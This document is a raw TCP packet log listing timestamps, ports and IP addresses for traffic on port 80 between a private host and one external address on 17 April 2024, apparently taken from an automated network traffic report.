Apr 17, 2024 06:57:10.190599918 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.190609932 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.190619946 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.190628052 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.190674067 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.190676928 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.190690994 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.190695047 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.190712929 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.190725088 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.190730095 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.190746069 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.190763950 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.190788031 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.190788984 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.190804958 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.190821886 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.190834999 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.190839052 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.190854073 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.190855980 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.190872908 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.190881014 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.190890074 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.190907001 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.190927982 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.190948009 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.190964937 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.190980911 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.190998077 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.191001892 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.191015959 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.191024065 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.191034079 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.191040039 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.191049099 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.191066027 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.191076040 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.191082001 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.191093922 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.191098928 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.191116095 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.191118956 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.191131115 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.191135883 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.191148043 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.191164017 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.191180944 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.191181898 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.191181898 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.191196918 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.191207886 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.191212893 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.191226959 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.191230059 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.191247940 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.191248894 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.191263914 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.191279888 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.191282988 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.191297054 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.191303015 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.191313982 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.191323996 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.191330910 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.191346884 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.191346884 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.191365957 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.191370010 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.191382885 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.191399097 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.191401005 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.191414118 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.191422939 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.191431046 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.191438913 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.191448927 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.191467047 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.191483974 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.191485882 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.191499949 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.191508055 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.191515923 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.191529989 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.191531897 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.191549063 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.191559076 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.191572905 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.191577911 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.191590071 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.191605091 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.191606998 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.191620111 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.191629887 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.191637039 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.191652060 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.191653013 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.191668987 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.191670895 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.191685915 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.191703081 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.191704035 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.191720963 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.191735983 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.191736937 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.191754103 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.191754103 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.191772938 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.191772938 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.191790104 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.191801071 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.191807032 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.191822052 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.191823006 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.191839933 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.191850901 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.191855907 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.191867113 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.191873074 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.191890001 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.191890001 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.191905975 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.191917896 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.191921949 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.191935062 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.191940069 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.191956043 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.191957951 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.191977024 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.191987038 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.191993952 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.192003012 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.192012072 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.192024946 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.192028999 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.192045927 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.192048073 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.192061901 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.192079067 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.192087889 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.192107916 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.192142963 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.394025087 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.394074917 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.394090891 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.394102097 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.394120932 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.394138098 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.394155979 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.394174099 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.394188881 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.394207954 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.394223928 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.394239902 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.394257069 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.394253969 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.394274950 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.394290924 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.394309044 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.394325972 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.394342899 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.394342899 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.394342899 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.394342899 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.394342899 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.394342899 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.394342899 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.394342899 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.394385099 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.394403934 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.394413948 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.394429922 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.394459963 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.394469023 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.394476891 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.394493103 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.394495010 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.394510984 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.394516945 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.394556046 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.394571066 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.394587994 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.394593954 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.394617081 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.394639015 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.394670963 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.394686937 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.394702911 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.394718885 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.394732952 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.394732952 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.394735098 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.394752026 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.394757986 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.394768000 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.394784927 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.394800901 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.394802094 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.394818068 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.394820929 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.394834995 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.394850969 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.394855976 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.394867897 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.394884109 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.394891977 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.394901037 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.394912958 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.394946098 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.394948959 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.394963026 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.394979954 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.394993067 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.394999981 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.395016909 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.395026922 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.395035028 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.395051956 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.395067930 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.395067930 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.395085096 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.395091057 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.395102024 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.395117998 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.395126104 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.395133972 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.395150900 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.395164013 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.395168066 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.395183086 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.395184994 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.395200968 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.395217896 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.395220995 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.395234108 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.395251036 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.395258904 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.395267963 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.395282030 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.395284891 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.395302057 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.395302057 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.395317078 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.395333052 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.395343065 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.395349979 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.395368099 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.395382881 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.395385027 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.395400047 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.395401955 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.395418882 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.395436049 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.395436049 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.395452976 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.395469904 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.395471096 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.395486116 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.395488977 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.395503044 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.395519018 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.395526886 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.395534992 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.395551920 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.395567894 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.395570993 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.395586014 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.395587921 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.395602942 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.395618916 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.395629883 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.395634890 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.395651102 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.395664930 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.395668030 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.395684958 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.395684004 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.395700932 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.395716906 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.395723104 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.395739079 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.395746946 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.395755053 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.395767927 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.395772934 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.395790100 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.395807028 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.395807028 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.395823002 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.395838976 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.395842075 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.395857096 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.395868063 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.395874023 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.395884037 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.395890951 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.395926952 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.395956993 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.396395922 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.396425962 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.396442890 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.396444082 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.396461010 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.396466970 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.396487951 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.396508932 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.396517992 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.396534920 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.396564007 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.396580935 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.396605015 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.396624088 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.396650076 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.396653891 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.396666050 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.396672010 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.396701097 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.396717072 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.396730900 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.396747112 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.396763086 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.396774054 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.396781921 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.396794081 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.396800041 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.396811962 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.396816969 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.396832943 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.396842957 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.396850109 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.396866083 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:10.396877050 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:10.396882057 CEST	80	49730	185.172.128.23	192.168.2.4
